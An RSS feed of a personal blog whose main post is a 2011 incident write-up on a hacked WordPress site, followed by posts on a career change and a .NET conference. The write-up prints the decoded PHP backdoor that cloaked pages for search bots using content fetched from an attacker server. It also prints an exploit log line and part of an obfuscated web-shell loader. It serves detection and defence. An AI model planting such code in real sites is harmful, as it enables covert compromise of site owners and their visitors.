<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alex&#039;s Blog</title>
	<atom:link href="http://www.alexwarren.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.alexwarren.co.uk</link>
	<description></description>
	<lastBuildDate>Thu, 01 Dec 2011 17:55:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>My website was hacked &#8211; yours could be too! You won&#8217;t know until it&#8217;s too late</title>
		<link>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/</link>
		<comments>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 16:00:19 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=394</guid>
		<description><![CDATA[Yesterday I found out that my website had been hacked. Not only that, but it had been hacked months ago, and I hadn&#8217;t even noticed. How did this happen? I only found out about it because somebody was kind enough &#8230; <a href="http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday I found out that my website had been hacked. Not only that, but it had been hacked months ago, and I hadn&#8217;t even noticed. How did this happen?</p>
<p>I only found out about it because somebody was kind enough to email me to let me know that they saw this on Google:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack1.png"><img class="alignnone size-full wp-image-395" title="Google result" src="http://www.alexwarren.co.uk/wp-content/hack1.png" alt="" width="689" height="343" /></a></p>
<p>That&#8217;s definitely a link to my website, but what&#8217;s happened to the title? Clicking on the link brought up my website, and nothing seemed wrong there &#8211; my browser was showing the correct title. It was only Google who were seeing a &#8220;spammified&#8221; version of the page.</p>
<p>I did a quick search and realised that my site had fallen victim to a version of the <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php">WordPress Pharma Hack</a> &#8211; a particularly sneaky hack which means everybody apart from Google sees the normal version of your page, meaning that you can be blissfully unaware that you&#8217;ve been hacked until you see something odd in your search results.</p>
<p>To solve the problem, you need to see your site as Google sees it. The most accurate way of doing this is to use <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>. When you log in, under Diagnostics you can go to &#8220;Fetch as Googlebot&#8221;. I entered the page and waited a few seconds for Google to fetch it, then by clicking the &#8220;Success&#8221; link I was able to see the HTML that Google was seeing:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/webmaster1.png"><img class="alignnone size-full wp-image-399" title="Webmaster Tools" src="http://www.alexwarren.co.uk/wp-content/webmaster1.png" alt="" width="749" height="642" /></a></p>
<p>Oh dear. Where was that coming from?</p>
<p>I followed the advice on the article I linked to above &#8211; deactivating all plugins, then refetching the Google version of the page. No difference &#8211; it was obviously not a dodgy plugin that was to blame, and the spammy content was being injected somewhere else.</p>
<p>This would be a pain to debug by repeatedly refetching via Google Webmaster Tools, not least because you can only do a limited number of fetches. It would be much easier if I could see the Googlebot version of the page myself. The way to do this is to change your browser&#8217;s <a href="http://en.wikipedia.org/wiki/User_agent">user agent</a> string.</p>
<p>I use Chrome as my browser of choice. Despite there being plenty of documentation on the web suggesting that you can pass a &#8220;user-agent&#8221; parameter into chrome.exe, this no longer seems to work on the latest version of Chrome. Perhaps surprisingly, it was IE9 to the rescue. The debugging tools built in to IE9 are really rather good &#8211; just hit F12 and you can go to Tools, then &#8220;Change user agent string&#8221;, and you can make IE pretend that it&#8217;s anything. In my case, I set it to a custom string:</p>
<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre>
<p>and then I loaded my site. Lo and behold, there was the hacked version of my page:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack2.png"><img class="alignnone size-full wp-image-401" title="Hacked version of website" src="http://www.alexwarren.co.uk/wp-content/hack2.png" alt="" width="1143" height="887" /></a></p>
<p>There was also some spammy text inserted into the content further down the page. Not pretty at all.</p>
<p>So, how was this spammy content being generated? I did a few experiments, making a few changes to the page. Any updates I made were not reflected in the hacked version, so this was clearly being served up in its entirety based on an older cached version of the page, rather than inserting spammy links on-the-fly.</p>
<p>I did a few more tests &#8211; I wanted to know if this was even coming through WordPress at all, maybe it was some kind of .htaccess hack? I deliberately put syntax errors in core WordPress files, and in the theme files. Breaking WordPress broke the hacked version of the page, but breaking the theme files didn&#8217;t. So the hacked code was clearly being run quite early in the page lifecycle, but was definitely within my WordPress PHP files somewhere.</p>
<p>I grabbed a copy of all my WordPress files from the server &#8211; the wp-admin, wp-content and wp-includes folders. The <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php">article</a> I linked to earlier mentioned that WordPress hacks typically contain functions like &#8220;eval&#8221; and &#8220;base64_decode&#8221;, to obfuscate the hack code, so I did quick search through the WordPress files.</p>
<p>Bingo &#8211; the top of wp-includes/pluggable.php:</p>
<pre>&lt;?php
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKD ...</pre>
<p>I ran the 6KB string through an online base 64 decoder, and here is the code that was being run <em>for every single request to my site</em>:</p>
<pre>error_reporting(0);
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.30.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","74.55.27","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130","174.129.66","85.17.19");
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$agent = $_SERVER["HTTP_USER_AGENT"];

	if ($_GET["testd"]=="ok") { print "ok!"; exit; }

if(in_array($ip, $bot_list) || strpos($agent, "bot"))	{
	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }

	$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$outsourceurl=base64_decode('aHR0cDovL2dsYXZnZW4uY29tL2dldC5waHA/c2l0ZT0=').urlencode($_SERVER['HTTP_HOST']).'&amp;page='.urlencode($_SERVER['REQUEST_URI']).'&amp;ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	if (function_exists("curl_init")) {
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $outsourceurl);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
	} else {
	$out = file_get_contents($outsourceurl);
	}
	if (substr($out,0,3) == "OK!") { echo substr($out,4); die; }
}

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','soma','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia','phentermine','adipex','tramadol','ultram','xanax','valium','ambien','ativan','vicodin','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	if ($niche!="unknown") {
		$urlsutra = base64_decode('aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMSZwYXJhbWV0ZXI9');
	if (false == ($str=file_get_contents($urlsutra.$niche."&amp;seoref=".$_SERVER["HTTP_REFERER"]."&amp;HTTP_REFERER=".$_SERVER['HTTP_HOST']))) {
    header("location: ".$urlsutra.$niche."&amp;seoref=".$_SERVER["HTTP_REFERER"]."&amp;HTTP_REFERER=".$_SERVER['HTTP_HOST']);
    exit;
    } else {
    echo $str;
    exit;
    }
	}
}</pre>
<p>What does this do? Well, for every request, it checks to see if the request came from a known search engine bot (such as Googlebot). If it does, the web server makes a request to a server controlled by the hacker, to get the spammified content for that page. In this case the hacker&#8217;s server is again a base64 encoded string which resolves to the domain glavgen.com.</p>
<p>A quick search for this domain on Google brings up a page entitled &#8220;WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com&#8221; and following links there brought me to a page about the <a href="http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html">Timthumb vulnerability</a>.</p>
<p>It&#8217;s not a WordPress security vulnerability exactly, but a lot of WordPress theme files include the open-source Timthumb library, and at the beginning of August 2011 it was discovered that this library contains a vulnerability allowing anybody to upload any PHP file to your server.</p>
<p>Now I must confess that this rang a bell. When I was redeveloping my website with WordPress earlier this year, I was in the market for a nice-looking theme which I could adapt to make it look as good as possible. I signed up with a couple of theme sites, <a href="http://www.elegantthemes.com/">ElegantThemes</a> and <a href="http://www.simplethemes.com/">SimpleThemes</a>.</p>
<p>I&#8217;d had an email from ElegantThemes on 4th August, a couple of days after the vulnerability was discovered. It warned that their themes used this vulnerable script, and that it would be a very good idea to update any of their themes I had installed to the latest versions from their site.</p>
<p>Well, I had the site up and running by this time, but I&#8217;d used SimpleThemes instead. I didn&#8217;t have any ElegantThemes themes installed on the server.</p>
<p>Guess what? SimpleThemes were using the same vulnerable script. But I never received a similar email from them.</p>
<p><strong>Cleaning Up</strong></p>
<p>Now to tidy up my web server. It was straightforward to remove the hack code from pluggable.php, and to download the <a href="http://code.google.com/p/timthumb/">updated version of Timthumb</a> to replace the vulnerable version that was bundled with my WordPress theme.</p>
<p>But how exactly had the hacker exploited the vulnerable Timthumb to update my pluggable.php? It was important to find out, otherwise there could be intermediate files left on my web server which could be easily used to re-hack it.</p>
<p>I wanted to identify exactly when the hack had taken place. I tend to download my web server log files fairly regularly, although unfortunately not every single day, and my web host only had copies going back a couple of months. It turned out that I was at least able to verify that it was indeed the vulnerable thumbs.php that was exploited &#8211; this line in my log file was the giveaway:</p>
<pre>88.198.51.36 - - [08/Aug/2011:04:39:45 +0200] "GET /wp-content/themes/impacto/thumb.php?src=http://picasa.com12345.dyndns.org/1.php HTTP/1.1" 400 153 www.textadventures.co.uk "-" "MSIE 7.0" "-"</pre>
<p>So my server had been hacked on 8th August &#8211; only a week after the vulnerability was disclosed. If I&#8217;d been using ElegantThemes, <em>and</em> had acted as soon as I got their email on 4th August, I&#8217;d have been safe, but it shows how quickly people need respond to announcements of these kinds of vulnerabilities, and by &#8220;people&#8221; I mean both theme providers and the users of those themes.</p>
<p>In the cache directory was the PHP that had been uploaded by the hacker. It looks like this (line breaks added for some clarity):</p>
<pre>&lt;?php $auth_pass = "47a85"."6c68e623468d"."84123e878"."81d1e3";
$color = "#df5";$default_action = 'File'.'sMan';$default_use_ajax = true;
$default_charset = 'Windo'.'ws-1'.'251';
preg_replace("/.*/e","ev" . "al(gz" . "inf" . "late(bas" . "e64_de" .
"co" . "de('5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADT ...</pre>
<p>Another obfuscated base64 encoded file, but this time with the extra sneakiness of using string concatenation to mask the calls to &#8220;eval&#8221; and &#8220;base64_decode&#8221;. Even running the encoded text through an online decoder is no help, as it&#8217;s GZ compressed into the bargain.</p>
<p>I&#8217;m not sure exactly when the hacker ran his uploaded PHP script, as I think that is missing from my log files as I probably didn&#8217;t download that one at the time. I found another few hits from the same IP about a month later though, so this is clearly something they take their time over and keep quiet about.</p>
<p>The result of decoding the text is another PHP script. I ran this on a virtual machine to see what it did, and it&#8217;s a hacking tool called WSO 2.4 which gives the hacker full control over pretty much everything:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack-tool.png"><img class="alignnone size-full wp-image-407" title="WSO 2.4" src="http://www.alexwarren.co.uk/wp-content/hack-tool.png" alt="" width="1279" height="809" /></a></p>
<p>Using this tool they can edit any file, have full console access, run SQL and PHP commands, and even change the timestamp on files so you won&#8217;t even know they&#8217;ve been there.</p>
<p>I deleted the cache folder. I also ran &#8220;grep&#8221; over all files on my web server to look for a few key words from the WSO 2.4 file, to ensure that no trace of it had been left anywhere on the server.</p>
<p><strong>Summary of the attack</strong></p>
<p>So, in summary, here is how the attack worked:</p>
<ul>
<li>My WordPress theme, created by SimpleThemes, was using a vulnerable third-party library</li>
<li>SimpleThemes, unlike at least one rival company, do not appear to have taken steps to inform their customers that their WordPress installations are vulnerable</li>
<li>As a result, a hacker scanning servers for this vulnerability was able to upload their own PHP file to my server</li>
<li>This PHP file is cleverly obfuscated, even hiding its use of &#8220;standard&#8221; hacking functions such as &#8220;eval&#8221; and &#8220;base64_decode&#8221;</li>
<li>Some time after this PHP was uploaded, the attacker sent a request to my server to cause it to be run</li>
<li>This caused the PHP code within it to be extracted, installing the &#8220;WSO 2.4&#8243; back-door tool onto the server</li>
<li>This tool gives full access to the hacker to modify files. At some time, possibly weeks after installing WSO 2.4, they used it to modify a core WordPress file (pluggable.php)</li>
<li>This core WordPress file had an obfuscated function call added to it. Every page request to the server caused this function to run</li>
<li>The function would check to see if the page request originated from a bot. If it didn&#8217;t, the normal page output was displayed to the user, so nobody would know anything was wrong.</li>
<li>If the page request did originate from a bot, a remote call was made to a separate server under the hacker&#8217;s control. This server responded with a snapshot of the original page, modified to change the &lt;title&gt; tag and insert spammy text and links</li>
<li>This meant that Google results which returned my website had strange spammy titles</li>
<li>It was only thanks to the kindness of a stranger that I was informed about this at all.</li>
</ul>
<p><strong>Lessons Learned</strong></p>
<p>I&#8217;ve never had a website hacked before. In fact I don&#8217;t recall ever being the victim of anything like this &#8211; no computer viruses or other malware have ever made their way onto my machines (to the best of my knowledge and memory anyway). I&#8217;m usually pretty careful about security, installing updates as soon as they&#8217;re available, so it was gut-wrenching to discover that a server under my control had fallen victim to a hacker.</p>
<p>There are many levels of sneakiness to this attack, and there must be thousands of websites out there who have fallen victim to the same thing, but currently have absolutely no idea about it.</p>
<p>By exploiting a vulnerability not in WordPress itself, but in a file commonly installed with WordPress themes, the hackers have a good proportion of the reach of a &#8220;native&#8221; WordPress attack, but there is no WordPress patch than can ever fix this. Instead you have to rely on your theme provider to notify you of the problem, and clearly the message has not got through to all of them.</p>
<p>Once you&#8217;ve been hacked, you&#8217;ll have no idea about it, as the hackers take pains to not draw attention to themselves. You can use your own website normally and have no clue that there is anything wrong. But behind the scenes, a hacker can be adding obfuscated functions to your PHP files, controlling exactly what your web server displays to which visitors.</p>
<p>In this case, they showed a modified version of the page to Google, but there was absolutely nothing to stop them redirecting any visitor anywhere. Porn, malware downloads, phishing attacks &#8211; it was all easily in their grasp, but my hackers were keeping quiet.</p>
<p>You may not be so lucky with yours.</p>
<p>So how do you know if you&#8217;re vulnerable, or maybe even have already fallen victim?</p>
<ul>
<li>Check your WordPress themes folders for timthumb.php and thumb.php files <strong>now</strong>. This includes inactive themes. The file simply has to exist on the server &#8211; that&#8217;s it. The hackers scan for common theme folders, so if you&#8217;ve got an off-the-shelf theme with this vulnerability, they will find it. If they haven&#8217;t already.</li>
<li>Check your PHP files for suspicious &#8220;eval&#8221; and &#8220;base64_decode&#8221; function calls, usually with a big lot of text (though there&#8217;s no reason they couldn&#8217;t get more sophisticated about this and inject the code in an even more obscure way).</li>
<li>Check your site with <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a> and also try browsing your site yourself with a Googlebot user agent.</li>
</ul>
<p>How to prevent this kind of thing?</p>
<ul>
<li>You can&#8217;t rely on your theme provider to keep you secure. Take a look at the PHP files they&#8217;re using, so you know what third-party libraries are in use. Search for known vulnerabilities in these libraries, and if you can, subscribe to their mailing lists so you&#8217;ll have early warning if vulnerabilities are discovered.</li>
<li>Look at the <a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a> instructions. More stringent file permissions may have prevented or at least mitigated this problem.</li>
<li>Monitor your site. I could have probably spotted the flood of suspicious requests to thumb.php if I&#8217;d thought to look. Also it&#8217;s a good idea to check your site every so often, both as a regular user and by pretending to be Googlebot.</li>
</ul>
<p>If you have any more suggestions, I&#8217;d love to hear them in the comments!</p>
<p>I have reported the issue to SimpleThemes. At least one person on their forums has <a href="http://www.simplethemes.com/support/viewthread/533/">already posted</a> about this, but there are no replies (and I can&#8217;t add one, presumably as my account has expired). I will update this post if and when I hear back from them.</p>
<p>Stay safe out there&#8230;</p>
<p><strong>Update 1st Dec 2011:</strong></p>
<p>Some good comments below, and loads more over at <a href="http://www.reddit.com/r/webdev/comments/mutt6/how_my_wordpress_install_was_hacked_months_ago/">reddit</a>.</p>
<p>SimpleThemes wrote back to me, with the latest fixed theme files. Apparently they sent out an email warning about the exploit the week it was announced (didn&#8217;t say which date), and they updated the theme on 22nd August (this was after my site had been compromised). I never received an email though, and I&#8217;ve asked them why. I wonder if it is because my account with them had expired by this point &#8211; but if this is the case, in my view they should still have notified their &#8220;previous&#8221; customers about such a serious security vulnerability, even if they&#8217;re &#8220;out of support&#8221;. I will update this post again if I get clarification.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Try, try again</title>
		<link>http://www.alexwarren.co.uk/2011/03/14/try-try-again/</link>
		<comments>http://www.alexwarren.co.uk/2011/03/14/try-try-again/#comments</comments>
		<pubDate>Mon, 14 Mar 2011 22:26:12 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=350</guid>
		<description><![CDATA[Is this becoming a habit? My greatest weakness, boredom, has reared its head rather rapidly again, and I&#8217;ve found myself working through a notice period for the second time in less than twelve months. How did I manage to find myself &#8230; <a href="http://www.alexwarren.co.uk/2011/03/14/try-try-again/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg"><img class="size-full wp-image-359 alignright" title="Please Try Again" src="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg" alt="" width="240" height="180" /></a></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg"></a>Is this becoming a habit? My <a title="My greatest weakness" href="http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/">greatest weakness</a>, boredom, has reared its head rather rapidly again, and I&#8217;ve found myself working through a notice period for the second time in less than twelve months.</p>
<p>How did I manage to find myself in the same situation again? I left my previous employer at the end of July last year, and wrote at the time that I wanted to mix things up a bit, alternating between contracting and working on my own software business.</p>
<p>Well, now I&#8217;m going to have a second try at making that plan work. I&#8217;m not going to rush into job hunting like I did last time &#8211; in fact, I&#8217;m not even going to look for a job at all for a while. I want to devote my time to my own business, <a href="http://www.axeuk.com">Axe Software</a>, and see where it takes me.</p>
<p>The seemingly insane thing about my plan is that Axe Software is currently making <em>much less</em> money than ever &#8211; I&#8217;ve recently stopped charging for my text adventure game engine, <a href="http://www.axeuk.com/quest/">Quest</a>, and I&#8217;m working on the new version 5.0 as free open-source software.</p>
<p>That sounds mad &#8211; &#8220;giving up your job to work on software that you&#8217;re just going to give away? What the fuck is wrong with you? I&#8217;m OUT!&#8221; Well, I think it makes much more sense in the long term. Read my <a href="http://www.axeuk.com/blog/2010/10/18/quest-5-0-is-now-open-source/">blog post on making the switch to open source</a> for full details, but basically the software <em>has</em> to be free to compete with the other systems that are out there &#8211; not only are pretty much all of Quest&#8217;s competitors free, but historically they&#8217;ve been more powerful too.</p>
<p>By making Quest both free (done) and totally kick-ass (to do), I&#8217;m hoping to make it appeal to many more users. So, perhaps this means in future there may be more opportunities for me to do paid-for customisations, for example. Perhaps there are ways of making money from other services that fit around Quest. Whatever, it doesn&#8217;t actually matter &#8211; even if I never make a penny from it directly, I think it will be a great demonstration of the kind of work that I do &#8211; something that will make me stand out in the next round of job applications. Having all the code easily <a href="http://quest.codeplex.com/SourceControl/BrowseLatest">viewable on CodePlex</a> means future employers will have the ability to examine my work in considerable detail &#8211; every aspect of a large software project that I have designed, architected, coded, delivered, and is actually <em>enjoyed</em> by people who <em>choose</em> to use it. If an employer is not interested in that, it&#8217;s unlikely I&#8217;m interested in working for them.</p>
<p>But most importantly, <em>it&#8217;s what I want to do</em>. I really want to build this software, and I have the opportunity &#8211; I have enough savings that I don&#8217;t need to worry about earning a salary for a (little) while, and it seems almost irresponsible <em>not</em> to make the most of that. Does that make me sound like a colossal wanker? I hope not.</p>
<p>My employment comes to an end at the beginning of April, and I&#8217;m looking forward to it. Am I going to put my feet up and relax with my new-found freedom? Fuck, no. I&#8217;m going to be working &#8211; hard, much harder than I have ever worked before, to create some great software.</p>
<p><span style="font-size: 80%;">[Photo credit: "Please Try Again &lt;3" by <a href="http://www.flickr.com/photos/spam/3355834452/">Smath.</a>]</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2011/03/14/try-try-again/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Guathon &#8211; new .NET stuff and Windows Phone 7</title>
		<link>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/</link>
		<comments>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/#comments</comments>
		<pubDate>Sun, 15 Aug 2010 10:18:14 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=328</guid>
		<description><![CDATA[On Friday I went to Guathon, a free Microsoft conference all about the latest .NET stuff and Windows Phone 7, held at the Odeon cinema on Shaftesbury Avenue. I was lucky to get a place, as when registration opened last &#8230; <a href="http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On Friday I went to <a href="http://developerdeveloperdeveloper.com/gulon/">Guathon</a>, a free Microsoft conference all about the latest .NET stuff and Windows Phone 7, held at the Odeon cinema on Shaftesbury Avenue. I was lucky to get a place, as when registration opened last week, the website immediately buckled under the strain. It reminded me of trying to get tickets for Glastonbury &#8211; and you&#8217;d think Microsoft would be able to get this kind of thing right. But after a lot of refreshing, opening new tabs, and filling in the same registration form multiple times, I eventually got my confirmation email.</p>
<p>Arriving at the Odeon bleary-eyed yesterday morning, I knew I was in the right place when saw a long queue of poorly dressed men &#8211; I blended in seamlessly.</p>
<p><strong>Presentations without boredom</strong></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/sguthrie.jpg"><img class="alignnone size-full wp-image-331" title="sguthrie" src="http://www.alexwarren.co.uk/wp-content/sguthrie.jpg" alt="" width="160" height="240" /></a></p>
<p><em>[image by </em><a href="http://www.flickr.com/photos/48003527@N00/480376936/"><em>Jeff Sandquist</em></a><em>]</em></p>
<p><a href="http://www.microsoft.com/presspass/exec/guthrie/">Scott Guthrie</a> is the man in charge of the .NET teams at Microsoft, and spent three quarters of the day doing presentations. It must have been pretty gruelling, but he didn&#8217;t show it &#8211; and he really knows his stuff, eschewing slides almost completely for a very hands-on style, mostly writing code in Visual Studio and answering questions as we went along. He&#8217;s a hugely effective presenter, and I just wish more people would learn that making a presentation isn&#8217;t all about knocking together slides in PowerPoint and then reading out each bullet point in a monotone.</p>
<p>The first session covered Visual Studio 2010 &#8211; a mix of new features, such as the improved IntelliSense, plus old features that surprisingly many people haven&#8217;t heard of, such as conditonal breakpoints. He also talked for a while about the new IntelliTrace debugging and automatic diagramming features which are sadly only available in the seriously expensive versions &#8211; a shame as it looks like these could be a real productivity boost for a lot of programmers. I&#8217;m still waiting to get my hands on VS2010 myself, as for some reason it&#8217;s taking Microsoft weeks and weeks to process my new Action Pack subscription.</p>
<p>By the end of the first session we were already overrunning massively, and everybody was in desperate need for some fresh air, a trip to the toilet and some coffee. If the Odeon had been prepared, they would have known that 250 developers logically entails a requirement for 250 lattes, but clearly this had been missed somehow as a huge queue quickly developed at the tiny coffee bar, with only one member of staff and the world&#8217;s slowest coffee machine.</p>
<p><strong>ASP.NET MVC, 1, 2 and 3</strong></p>
<p>Sessions two and four were all about ASP.NET MVC. This is a framework that sits on top of ASP.NET and provides a quite amazingly neat and elegant way of building web-based applications. I didn&#8217;t know anything about it before, but there was a good quick introduction before diving into the new stuff in versions 2 and 3, so I now feel like I&#8217;m up to speed and am quite keen to have a play with it &#8211; if only Microsoft would hurry up with letting me access the software I&#8217;ve ordered&#8230;</p>
<p>Instead of a load of slides, the presentation was entirely in Visual Studio, taking us from starting a new ASP.NET MVC project. &#8220;What kind of website shall we make?&#8221; asked Scott. &#8220;An event registration site&#8221; was the highly appropriate response, and Scott took us through creating the web application from scratch. He covered a huge amount of functionality in the way that makes the most sense to programmers &#8211; by actually writing code. Not only was it a great way of covering lots of material, the fact that he could cover so much during the sessions is testament to how well-designed the MVC framework is &#8211; it&#8217;s really very quick to start putting things together.</p>
<p><strong>Windows Phone 7</strong></p>
<p><img class="alignnone" title="Windows Phone 7" src="http://msnbcmedia2.msn.com/j/MSNBC/Components/Photo/_new/500x_pictureshub.grid-6x2.jpg" alt="" width="474" height="312" /></p>
<p>To give Scott a bit of a break from presenting, between the two ASP.NET MVC sessions Mike Ormond stepped in to talk about developing applications for Microsoft&#8217;s forthcoming Windows Phone 7 platform. It was a mixture of slides and a more hands-on demonstration, as he demonstrated writing a simple game which he then showed working on both an emulator and an actual prototype phone.</p>
<p>The presentation was good but I was left feeling underwhelmed by the product itself. Despite the name, Microsoft has effectively thrown away its old phone platform to start again, so it&#8217;s very much a &#8220;1.0&#8243; product at the moment. Unfortunately they seem to have taken all the worst bits of the iPhone and then added in some extra limitations of their own. Like Apple, they will be controlling the &#8220;Marketplace&#8221; (equivalent of the App Store) so they won&#8217;t accept certain types of applications. Like Apple, you can&#8217;t do proper multi-tasking &#8211; the phone will quit applications when you switch to another one, and as a developer you have to manually write code for saving the application&#8217;s state. Even the process of using the camera within an application causes it to restart, which seems very cumbersome. And for the moment they&#8217;ve even locked down things such as access to the camera flash LED, meaning no flashlight applications are allowed. This just seems dumb.</p>
<p>One of the positive things to come from Apple&#8217;s control freakery is that at least mobile network operators can&#8217;t stuff the phone with crappy applications themselves, but there are no such limitations on Windows Phone 7. Network operators have more power than ordinary developers, as they will be able to create proper native applications instead of the Silverlight and XNA apps that other developers will be limited to.</p>
